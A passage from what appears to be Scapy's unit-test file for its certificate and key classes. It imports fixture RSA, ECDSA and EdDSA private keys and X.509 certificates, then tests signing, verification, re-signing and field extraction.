KEY-----\nMHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK\noUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP\nweDU+RsFxcyU/QxD9WYORzYarqxbcA==\n-----END EC PRIVATE KEY-----\n\"\"\")\ntype(y) is PrivKeyECDSA\n\n= PrivKey class : Checking public attributes\nassert y.key.curve.name == \"secp256k1\"\ny.key.public_key().public_numbers().y == 86290575637772818452062569410092503179882738810918951913926481113065456425840\n\n= PrivKey class : Checking private attributes\ny.key.private_numbers().private_value == 90719786431263082134670936670180839782031078050773732489701961692235185651857\n\n= PrivKeyECDSA sign & verify\n~ crypto_advanced\na = PrivKeyECDSA()\na.fill_and_store()\nmsg = b\"Scapy test message\"\ndata = a.sign(msg)\nassert a.verify(msg, data)\nassert not a.verify(b\"Hello\", data)\n\n= PubKeyECDSA verify\n~ crypto_advanced\nassert isinstance(a.pubkey, PubKeyECDSA)\n\nb = PubKeyECDSA(cryptography_obj=a.pubkey.pubkey)\nassert b.verify(msg, data)\nassert not b.verify(b\"Hello\", data)\n\n= PrivKey class : Importing DER-encoded RSA private key\na = PrivKeyRSA(b'0\\x82\\x04\\xa3\\x02\\x01\\x00\\x02\\x82\\x01\\x01\\x00\\x98Wj?\\xe9\\xd3\\x11\\x9b\\xa4KIK?\\xec\\xa3\\xd6\\x03H\\x9a\\xc1\\x08\\x7f\\xb3\\xf6\\xc9$\\xee\\x9d\\xc7\\x98\\xc7\\t&\\xe1Q9A\\x17\\x83m\\xbd\\x8b\\xe7\\xf1\\xcb\\x03\\xdaO\\x98\\x87\\x90-*\\xbf\\x06\\x03\\xb5\\x99\\xe3\\x9cl\\xe4\\x89\\xd9\\x85GCo\\x0cC\\x9e\\xbe\\xf0*\\xdb\\xea}\\xbc\\x8b\\'\\x17\\xe2\\x1at\\x1fp1D\\x08\\xe1\\xd1\\xe7W\\xfa\\xad\\xf2\\x8a[\\xd8\\'\\x85\\xbd\\xfc\\xd9\\xc8o\\xfc\\x00g\\x04\\xb4\\xa0\\x98\\x9f\\xfe\\xd4\\xe4T^\\xfb\\x1f&\\xc0|\\x97^\\xe4J\\x9b\\xa7\\xe6\\xc2(\\x8b\\xccZv\\xa6n\\x1fCEL\\xa3\\xac\\x10Y\\xa3\\x97@\\xd6\\x8d\\xf6\\xce\\x9b\\x85\\x06\\xb2]#\\xc7fR\\x9c=\\x82\\xd7\\xf4\\x17@Z\\xf2Q\\x99\\x9b\\xc5*sA\\xb2]\\xe5\\xce%A6\\xbb\\xb0\\xa22\\xed\\xcc\\xef\\xb0L\\xe9\\x92\\xcbM\\xca0\\xe7\\xe6\\xd0\"i&L\\xbdR\\x1a\\x1c\\xf0~)\\xcc\\x13W\\xba\\xa7q\\xe6\\xff\\xfaC\\x8e\\xe2o\\x15\\xa66\\xdaM9.\\x02\\xee\\xca\\xa79\\xf6\\xf1b\\x07t\\xe8\\x95\\xdc\\xfc\\xf8\\x06\\xcc6;\\xf3\\x03\\x02\\x03\\x01\\x00\\x01\\x02\\x82\\x01\\x00}\\xcax\\x96K\\xda\\x18H\\xffQ\\x974\\xc6\\x94\\xfc\\xf7\\xc3\\x80Y \\x99\\x86\\xf10\\x0f\\t*\\xeb\\'\\x9b\\xf4\\x85\\x8f\\x100\\x04i\\xc6#\\xa5#\\x05zA\\x82\\x94,\\xd8\\xda\\xa6\\xdd\\x9b\\x1e\\x17\\xdb\\xbc\\x86`\\x8a\\xbch\\x82\\x11}\\x86z\\xc0\\xa8\\xdad\\x9f\\x99$1\\x0f\\xa4A\\xac\\xc4\\xeeC\\xdfT^\\x9cs\\x04\\x8b\\x1c\\x16s?f\\xbb<\\x94\\xf0@Dl\\xe6\\x17i\\xc8\\xde\\xa3\\xf1^\\xd7\\xb1\\xe0\\x00W\\xe6\\x8d\\x02w\\x83_fVc\\xa6?z\\xb2E(;\\xcf\\x9bwr88\\xf5\\x05`QE\\xba\\xff5.\\x84\\x90\\xe8w\\xb0\\xd1\\xaf1\\xb4\\x95\\xed*@\\xe9\\xf6\\x1dcLa\\x949\\xcd|\\xf5`\\x026\\x80K\\x1fC\\x06yZ\\x12Q\\xf75\\xfb\\xe4\\\\\\x0bw2\\xa5F||\\xd3\\xf58\\xee\\x86\\x05\\xfb\\xf4\\xe9\\xfeh\\\\D\\xb8e\\xbcFb\\x96\\xbe\\x9c\\'\\xcd\\xc1\\xbe\\x95\\xda\\x05\\x9b\\x92\\xf6\\x98\\x9b\\xb6\\x85\\x9fB\\x96\\x18\\xd6WKS\\xf79\\xc5\\xaf\\xe8\\x85\\x9d:h6\\x08\\x8e\\xcc0\\x12\\xc9\\xd0\\xbc\\x96T!\\x02\\x81\\x81\\x00\\xc8\\xc2X\\xc3_y\\x9a\\xf1\\xe5\\xf1\\\\\\xb1\\'q\\xe4\\xc5\\xe4\\x1aj\\x8c\\xd6/\\x8a\\xa15\\r\\nk\\x0f\\xa6\\xcc?\\xa3a\\xd9\\x1b\\x1d\\xbd\\xda\\x05\\x88!\\xb2\\x01\\x03f9\\xf29V\\xe5\\x0b\\xb2>\\xe2\\xc9\\xaf\\x01\\x92KX\\x96\\x9f\\xea\\xc6y\\x1c\\x0c7\\xceh\\xf5\\x89\\xb0\\xa4_\\x1e\\xddz\\x84\\\\\\xfd\\x05\\\\:)%\\xdd\\xd1?\\xcac\\xb4(bM\\x88l\\xc9fl[E-\\xe1N\\x89&T\\xfb\\xb1Ie\\xb8\\xa7\\x9a\\x12\\x88\\xcb\\xa9\\x14r\\x9a\\xd7\\xc5/\\xf01\\x02\\x81\\x81\\x00\\xc2B{\\x893\\x94/\\xa6\\xf8{yP\\xb8t\\'%\\xbb\"B\\x97~?\\xf6\\xec \\xf3\\xfb\\x91\\xa6\\x879\\xb7\\xb0|z_8\\xebHv\\xd3xj\\xccU\\x15\\xff\\xcf\\x81nnZ`e\\x96\\xa0\\x07e\\x84u\\xe01\\x18!\\xd2\\xfe\\x85\\xd2\\xebv\\xf99\\x9d\\x847a\\xf8N\\x9e\\x9f\\xa1hu\\x0f\\t\\xd1\"^\\xb4Y\\xb8e\\xe3\\x98\\xc08WHK\\xdcs\\xc5\\xe5\\x93<\\x1f\\xcd\\x1f.s|>\\t\\xf6\\xac\\x80\\xbb\\t\\x948\\xeb.\\x0f\\x9e\\x85u\\x9ds\\x02\\x81\\x80A\\xc0%\\x02\\x17\\xca\\xe4\\x0cE\\x9a\\xff\\x18\\xa6*\\x8f\\x1a\\xa0\\xd2f\\x03*B\\xf7\\xccDk\\xb8\\xf5\\xc7r\\x81\\x82v(\\x1d\\xca\\xdb\\xba\\xca$\\xf5\\xa8\\xd3{\\xb1yQ\\x91\\x1bfr-\\x9a{.\\x1b\\x8f\\xcd\\x9b\\xf4AWS\\x98\\xb8\\xd8\\x01o\\x9e\\xf7c8\\xc7\\x97\\xaa\\xbd\\xdc\\x85\\xfd\\x12L\\xc21w;5.\\xc9\\xaf6\\x8d:\\x8aN\\x8f\\xa3\\x85\\x02\\xdc\\x13Gy\\xbc\\xf6\\x81\\xcc\\x0e\\xef\\x16\\xf67\\xe2*\\x06\\x88\\x1d\\xd5\\xe4\\'\\x8f\\x80\\xba\\xe8+\\xb2\\xd18\\x81\\x02\\x81\\x80R\\xb4w_\\xfc\\x83\\xb4\\x9e\\x03\\xe0\\x9d\\xcf\\xce\\x185\\xaa\\x8c\\xb7\\x93^h3\\xd7n\\xc4\\xc0\\xdbt1P\\x154\\xad\\x80\\xf1\\xa0\\xa4\\xdd\\x17&\\xef\\xf5\\xae\\x92|\\x0f7\\xb0\"\\xcc\\xdfR\\xbf\\x03\\xc1S4\\x92\\xf6\\x081\\x80\\xf5cA/w\\xceJ\\xcd\\x86b\\x0f<\\x01PF\\xa5BGx2\\xbe\\xd3\\xbe<9\\xc3\\xd4H\\xf6\\x86\\xfa\\x95H\\x114\\xa7\\xe5\\x14`}\\xfa\\xb5\\xea\\xbd\\'Y\\x85/I\\xd0\\'\\xf1\\xcb\\x93\\xab\\r\\xf2\\xfb \\xb5\\xa5\\x94\\xba\\x01O\\x1d\\x02\\x81\\x81\\x00\\xbeP\\n-\\x1dMb\\x8d\\xdeG\\xf7qv\\x82\\x02v\"Y\\xee\\x10\\x83d\\xbeJ\\x02\\xc4\\xf8]T\\xe1|,\\xda\\xba\\x80\\xb9+\\xc8\\x8a\\xe4\\xf9\\x8b\\x9f\\x8c\\xaaOY\\x08ghE\\xe5[\\x02\\x8b\\xc9\\x16\\x84j{\\xb1c\\xf7%\\x8c\\xf9\\xbdZ\\xc0h\\xcb\\xd1\\xb3\\x93\\xb6z\\xb1\\xd2)c\\xa1\\xbe\\xae\\x17(i\\x97\\\\`[v\\xb7 \"\\x7fe\\x82\\xef\\x92\\x06\\xf8 \\x11-x\\xec\\x16\\xa6\\x9d\\xfb}~{\\xbf8V\\xf0I\\x94We\\x17\\xee\\xf7\\xb5\\xb8\\xd4H')\na_privNum = a.key.private_numbers()\na_pubNum = a.pubkey.public_numbers()\n\nassert x_pubNum.n == x_pubNum.n\nassert x_pubNum.e == x_pubNum.e\n\nassert x_privNum.p == a_privNum.p\nassert x_privNum.q == a_privNum.q\nassert x_privNum.dmp1 == a_privNum.dmp1\nassert x_privNum.dmq1 == a_privNum.dmq1\nassert x_privNum.d == a_privNum.d\n\n= PrivKey class: Importing PEM-encoded EdDSA private key\ny = PrivKey(\"\"\"\n-----BEGIN PRIVATE KEY-----\nMC4CAQAwBQYDK2VwBCIEIGu36oadjA6raCmwtImfAWI/DSCENM/uQCsUaClVoUTZ\n-----END PRIVATE KEY-----\n\"\"\")\n\n+ PrivKey/Pubkey test signatures\n\n= PrivKey class : sign tbs cert\n\npkey_sign = PrivKey(\"\"\"\n-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA1L8KacejlbFJ18bvAz5/W9mF+0GglJs6qyv8pAPPiX1mWaLZ\nY42Kf/axHYrxUPXEqitRG3VkOy1HONAZhl90rY0jVUyYps94om4S98NECbY3eiVc\n02ZqQng5HyzBYJQeTh+EYrDaxPUXcVXjthmrt/6vbUHI1Kgk/gok8IBFMSzilxeO\nZMJJ+dQigeDiaJGwHb3U5KzOm+hFb/IbwjdXJm3CG/58bCQp0rp6RD2qI/D6Xtvj\npc/ms6q7vfBVpquSLeEIt4Jq2XC9RKGR7TGHaVe8vmU5rb/Y36ReYCw5+fMJqcP4\nfFlC6iexBDhgy1sqV0o0tu4TzJodn8n3SFResQIDAQABAoIBAHcXEe8w0AOloJ5n\nP7hjLcvusi96BzfoxSi4kM4HTA+84KRgoqw1uUf0giT1eCxHx3Uylk52okr2B55n\n70HnAVt9XEANho4qKW9Tis6iwd1l4RxA+ftkoyrePauT1BQKFgTJY8QTGAOU5zCM\nUdHIAPYYXX8dihxwm3SRnSf7xb/GSRkj5sMr0ioiBOZ91fwzbtOEbVXE58DyPNJm\nw/tBCFbibpr4iCU/6US8OyCxR/X4heRyKCcANXlHyE/eUO6TY8J2RaKbSQi+c3/y\nY11ypSboyM3cGJ/URS5wRd0oQMQMANck4w+MlNU5jxsfN9wF32HWII8wq/6n3hHR\nM+H+3YECgYEA79nc8BLzFPrzuJud9JvCFEh0pNb0gLRb/MvIsaVUT7ac8/89tfvQ\n6qxWgP81ldJ7S+d/uh80CKg0lVwaxF4sQ6yNn/cvebW8tCCm0RkD8q3R9kxOd3Q/\nkLNeeBS/gPzh2xOmVuTE0ruv7ovYowU8WfJG2z20lv7WNsrN/Jm526kCgYEA4xH+\nEBVqoPYxzKoa0LNxSPfVOBO7wT19pS5Ny7yjI9oy724cNXn39H5KaCHC3ZnR0mII\n0znf7cbtbFHLSkR2MNzy1MC1VhIxFQ5yHLRCjZcKkjd+gZuJp0tCgY/r2dNYsBCR\n7W1vMz/wNsbufkOhi/DqC0Ru7onFbouGBdpID8kCgYEAjamr6NAIarfeA4dGQBdP\nBhPVcRbUyr+8JQ9ntiTkK0C8axCyLi5RMooffYk+6QKseCR/ODr9zK8sf5sq5BiL\nJF1iOL0SeVxx3CH85TtVLZykikh/f+ZVNO38OghnI5Q5AeAVOvVbmuvn+Yj3pzGM\nd8O1PgCwDQ7vDuWxzCQvtiECgYAGWA9YFbEX9CjqBeqf4BOPLVVorqx1NqmW/tcv\nlQKd0s/Pfq0NFW5HB2w+woq2NED3dsO2WwyVkRQ7DYH3fjgrH1EtfoDSecmjQ/cO\nND8Tw5+I/EHtjxHmeaTPB91YBZ6ZtKzPDFqp/ORSM3agUnVl+oIfdHcA9Rpt/zns\nWe/feQKBgGimvdIrurKPTrV49ltAKdkHmglpYeCaDr6aZKwWMcsrLmTZ6a4uRPFF\nTdK+rCyGyjmibTVRjdg5+7KXshSlBleNR3v+AySAxzpjwySVhTfRirCogHRFHrnK\nkXqy5xUkg11ETv6v91n3u5NVBlXVN4iwFRGSKsecw0qxSgKjbP4n\n-----END RSA PRIVATE KEY-----\n\"\"\")\n\nc_tosign = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIIC/TCCAeWgAwIBAgIJALkQBZa7rCRFMA0GCSqGSIb3DQEBBQUAMBUxEzARBgNV\nBAMMCnNlY2Rldi5vcmcwHhcNMTgwMjI3MTY1NjIyWhcNMjgwMjI1MTY1NjIyWjAV\nMRMwEQYDVQQDDApzZWNkZXYub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\nCgKCAQEA1L8KacejlbFJ18bvAz5/W9mF+0GglJs6qyv8pAPPiX1mWaLZY42Kf/ax\nHYrxUPXEqitRG3VkOy1HONAZhl90rY0jVUyYps94om4S98NECbY3eiVc02ZqQng5\nHyzBYJQeTh+EYrDaxPUXcVXjthmrt/6vbUHI1Kgk/gok8IBFMSzilxeOZMJJ+dQi\ngeDiaJGwHb3U5KzOm+hFb/IbwjdXJm3CG/58bCQp0rp6RD2qI/D6Xtvjpc/ms6q7\nvfBVpquSLeEIt4Jq2XC9RKGR7TGHaVe8vmU5rb/Y36ReYCw5+fMJqcP4fFlC6iex\nBDhgy1sqV0o0tu4TzJodn8n3SFResQIDAQABo1AwTjAdBgNVHQ4EFgQUf98kGOpM\nCVBFdHxFb8DaL6tPe+8wHwYDVR0jBBgwFoAUf98kGOpMCVBFdHxFb8DaL6tPe+8w\nDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAmw0lTyEVH8YfytbVS9AW\nrTJ1wWhDGf+9jHHEjX/OIq5ii0Ks38WyybhD7cMQNfkZCgIjrutrLHN/m/wn9aDx\ny9vuubWvrcbqhur82YZbVnlvEiqEEyY/ULqCaW2X7UC2K/2NAy14oF6bClLX8LBq\n3G/lc6GUOToN6i4OuKeB9xxvJaBxsVIdnUW9IqesHatqV4yIhH1/flhqWM47LjHP\na/uIGboyhl8p5bt3aVbXFwm/NeqsOVPDcQsBdWGldCN6loLE7b4eJDhjHbsuR2C3\naomWcyGW1mRxNJUI0GQ5EHB5Vvy4mcxKG1DMYxG/rGf/EHk+xPJXpITIugbispbm\nuA==\n-----END CERTIFICATE-----\n\"\"\")\n# tbs_signed's signature computed using sha256 by default (while signature algorithm is sha1 in c_tosign)\ntbs_signed = pkey_sign.signTBSCert(c_tosign.tbsCertificate)\nassert raw(tbs_signed.signatureValue) == b\"BH\\xdb@>\\x82\\x08b\\xbc\\xaf\\x04%_\\xeaV\\xf5_\\xa8\\xf4\\xf3\\xd1\\x0f\\x86\\xbd\\x1b\\xe2U\\xfb\\xf5/\\rN\\xc2\\r\\xbc\\xa0Hn\\xed\\xb7\\x18\\xb2\\xb3\\xa5\\x08m9\\x9fY\\xa6\\xb32\\xcd:\\xd7\\xab\\xac\\x8c\\xcf@\\xbb\\x08Gt2\\xb7\\x93\\x95\\x92\\x17\\xa7j\\x99\\xa7)\\xab\\xbc\\x07HP\\xca\\x00M$\\xfb.\\xb9\\xb8\\xac%i\\x8c\\xa2+\\xe7ny!\\xa1\\xd2l\\x0f>j\\xd6\\xb0\\x9e\\xcat)+\\xbc\\x16'\\x9d\\x1e\\x80\\x89\\x01.\\x9dS\\xbb\\xa0-\\xb8\\x0c\\xe9\\xe9:a\\xbe\\x14p\\xd1\\xbb\\xf0I\\xa2\\x8fio`2\\x1b7\\xb8]\\t3\\xced`\\x86\\x97\\x01\\x82t\\xd0\\xc3c%\\xa7\\xda\\\\[]9\\xfa\\xba\\r\\x83\\x8b\\r\\xa2(\\x87\\xe87C\\xb7\\\\\\x11\\x163\\x8e\\xbf\\xe2\\x80\\x7f\\xf2\\x93\\xa4\\x04w\\xddG\\x88\\x1e#\\xa6l\\x15\\xa1\\xc6\\xda\\x1f\\xd4\\xb4$T\\xa1\\xd0\\xe9\\xd5t\\xc4\\xe4q\\xbe\\xa2\\xd2\\xba\\x1b!/\\x1dK\\x17}\\xc6.\\xba\\x81;\\x00ft\\x8du)\\x15\\n\\t\\x08\\x1b\\xb2Ol\\xe1\\x94g\\xc8\\xc0\\xd6>\"\n\n= PrivKey class : resign cert\n\n# Keep the correct cert signature but set a dummy value to make sure signature is recomputed\ncorrect_sha1_sig = c_tosign.signatureValue\nc_tosign.x509Cert.signatureValue.val = 512*'0'\n\nc_resigned = pkey_sign.resignCert(c_tosign)\nassert pkey_sign.verifyCert(c_resigned)\nassert raw(c_resigned.signatureValue) == correct_sha1_sig\n\n\n########### Keys crypto tests #######################################\n\n+ PubKey/PrivKey classes crypto tests\n\n= PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash\nm = \"Testing our PKCS #1 legacy methods\"    # ignore this string\ns = x.sign(m, t=\"pkcs\", h=\"md5-sha1\")\nassert s == b\"\\x0cm\\x8a\\x8f\\xae`o\\xcdC=\\xfea\\xf4\\xff\\xf0i\\xfe\\xa3!\\xfd\\xa5=*\\x99?\\x08!\\x03A~\\xa3-B\\xe8\\xca\\xaf\\xb4H|\\xa3\\x98\\xe9\\xd5U\\xfdL\\xb1\\x9c\\xd8\\xb2{\\xa1/\\xfcr\\x8c\\xa7\\xd3\\xa9%\\xde\\x13\\xa8\\xf6\\xc6<\\xc7\\xdb\\xe3\\xa62\\xeb\\xe9?\\xe5by\\xc2\\x9e\\xad\\xec\\x92:\\x14\\xd96\\xa8\\xc0+\\xea8'{=\\x91$\\xdf\\xed\\xe1+eF8\\x9fI\\x1f\\xa1\\xcb4s\\xd1#\\xdf\\xa11\\x88o\\x050i Hg\\x0690\\xe6\\xe8?\\\\<:k\\x94\\x82\\x91\\x0f\\x06\\xc7>ZQ\\xc2\\xcdn\\xdb\\xf4\\x9d\\x7f!\\xa9>\\xe8\\xea\\xb3\\xd83]\\x8d\\x90\\xd4\\xa0b\\xe6\\xe6$d[\\xe4\\xb4 |W\\xb2t\\x8c\\xb2\\xd5>>+\\xf1\\xa6W'\\xaf\\xc2CU\\x82\\x13\\xc4\\x0b\\xc4vD*\\xc3\\xef\\xa6s\\nQ\\xe6\\rS@B\\xd2\\xa4V\\xdc\\xd1D\\x7f\\x00\\xaa\\xac\\xac\\x96i\\xf1kg*\\xe9*\\x90a@\\xc8uDy\\x16\\xe2\\x03\\xd1\\x9fa\\xe2s\\xdb\\xees\\xa4\\x8cna\\xba\\xdaE\\x006&\\xa4\"\nx_pub = PubKey((x._pubExp, x._modulus, x._modulusLen))\nx_pub.verify(m, s, t=\"pkcs\", h=\"md5-sha1\")\n\n= PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash with legacy support\nm = \"Testing our PKCS #1 legacy methods\"\ns = x._legacy_sign_md5_sha1(m)\nassert s == b\"\\x0cm\\x8a\\x8f\\xae`o\\xcdC=\\xfea\\xf4\\xff\\xf0i\\xfe\\xa3!\\xfd\\xa5=*\\x99?\\x08!\\x03A~\\xa3-B\\xe8\\xca\\xaf\\xb4H|\\xa3\\x98\\xe9\\xd5U\\xfdL\\xb1\\x9c\\xd8\\xb2{\\xa1/\\xfcr\\x8c\\xa7\\xd3\\xa9%\\xde\\x13\\xa8\\xf6\\xc6<\\xc7\\xdb\\xe3\\xa62\\xeb\\xe9?\\xe5by\\xc2\\x9e\\xad\\xec\\x92:\\x14\\xd96\\xa8\\xc0+\\xea8\\'{=\\x91$\\xdf\\xed\\xe1+eF8\\x9fI\\x1f\\xa1\\xcb4s\\xd1#\\xdf\\xa11\\x88o\\x050i Hg\\x0690\\xe6\\xe8?\\\\<:k\\x94\\x82\\x91\\x0f\\x06\\xc7>ZQ\\xc2\\xcdn\\xdb\\xf4\\x9d\\x7f!\\xa9>\\xe8\\xea\\xb3\\xd83]\\x8d\\x90\\xd4\\xa0b\\xe6\\xe6$d[\\xe4\\xb4 |W\\xb2t\\x8c\\xb2\\xd5>>+\\xf1\\xa6W\\'\\xaf\\xc2CU\\x82\\x13\\xc4\\x0b\\xc4vD*\\xc3\\xef\\xa6s\\nQ\\xe6\\rS@B\\xd2\\xa4V\\xdc\\xd1D\\x7f\\x00\\xaa\\xac\\xac\\x96i\\xf1kg*\\xe9*\\x90a@\\xc8uDy\\x16\\xe2\\x03\\xd1\\x9fa\\xe2s\\xdb\\xees\\xa4\\x8cna\\xba\\xdaE\\x006&\\xa4\"\nx_pub = PubKey((x._pubExp, x._modulus, x._modulusLen))\nx_pub._legacy_verify_md5_sha1(m, s)\n\n\n########### Cert class ##############################################\n\n+ Cert class tests\n\n= Cert class : Importing PEM-encoded X.509 Certificate\nx = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYD\nVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQK\nEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2Vz\nMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI\nhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcNMDYwNzEzMDczODU5\nWhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlz\nMQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNV\nBAsTFU11c2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkg\nVGVzdCBjZXJ0aWZpY2F0ZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNo\ncm9vbS5jb3JwMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nT\nEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/\nBgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9\n/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA\n1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLL\nTcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3To\nldz8+AbMNjvzAwIDAQABo4IBHzCCARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxW\njG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLoYG8pIG5\nMIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlz\nMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO\nIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRl\nMScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD\n5wkLcTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvH\nMWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZI88XA5XM6QolmfyKnNromMLC1+6C\naFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2LR5kHe9RvSDuoPIsb\nSHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3gh8dR\n/kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpH\no060Fo7fVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFx\nr3s7V77y\n-----END CERTIFICATE-----\n\"\"\")\n\n= Cert class : Checking version\nx.version == 3\n\n= Cert class : Checking certificate serial number extraction\nx.serial == 0xB45E7043E7090B71\n\n= Cert class : Checking signature algorithm\nx.sigAlg == 'sha1-with-rsa-signature'\n\n= Cert class : Checking issuer extraction in basic format (/C=FR ...)\nx.issuer_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'\n\n= Cert class : Checking subject extraction in basic format (/C=FR ...)\nx.subject_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp'\n\n= Cert class : Checking start date extraction in simple and tuple formats\nassert x.notBefore_str_simple == '07/13/06'\nx.notBefore == (2006, 7, 13, 7, 38, 59, 3, 194, -1)\n\n= Cert class : Checking end date extraction in simple and tuple formats\nassert x.notAfter_str_simple == '03/30/26'\nx.notAfter == (2026, 3, 30, 7, 38, 59, 0, 89, -1)\n\n= Cert class : test remainingDays\nassert abs(x.remainingDays(\"02/12/11\")) > 5000\nassert abs(x.remainingDays(\"Feb 12 10:00:00 2011 Paris, Madrid\")) > 1\n\n= Cert class : Checking RSA public key\nassert type(x.pubkey) is PubKeyRSA\nx_pubNum = x.pubkey.pubkey.public_numbers()\nassert x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163\nx_pubNum.e == 0x10001\n\n= Cert class : Checking extensions\nx.show()\nx.tbsCertificate.show()\nassert x.cA\nassert x.authorityKeyID == b'\\xf3\\xd8N\\xde\\x90\\xf7\\xe6]\\xd2\\xce3\\xcd\\\\V\\x8co\\x97\\x141K'\nnot hasattr(x, \"keyUsage\")\n\n= Cert class : encrypt\n\nassert len(x.encrypt(b\"Scapy\")) == 256\n\n= Cert class : export\n\nimport tempfile, os\nfilename = tempfile.mktemp()\nx.export(filename)\nfstat = os.stat(filename)\nassert fstat.st_size == 1302\nos.remove(filename)\n\n= Cert class : isIssuer\n\nassert x.isIssuer(x)\n\n= Cert class : Importing another PEM-encoded X.509 Certificate\ny = Cert(\"\"\"\n-----BEGIN CERTIFICATE-----\nMIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw\nCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu\nZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg\nRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV\nUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu\nY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq\nhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf\nZn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q\nRSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/\nBAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD\nAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY\nJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv\n6pZjamVFkpUBtA==\n-----END CERTIFICATE-----\n\"\"\")\n\n= Cert class : Checking ECDSA public key\nassert type(y.pubkey) is PubKeyECDSA\npubkey = y.pubkey.pubkey\nassert pubkey.curve.name == 'secp384r1'\npubkey.public_numbers().x == 3987178688175281746349180015490646948656137448666005327832107126183726641822596270780616285891030558662603987311874\n\n= Cert class : Checking ECDSA signature\nraw(y.signatureValue) == 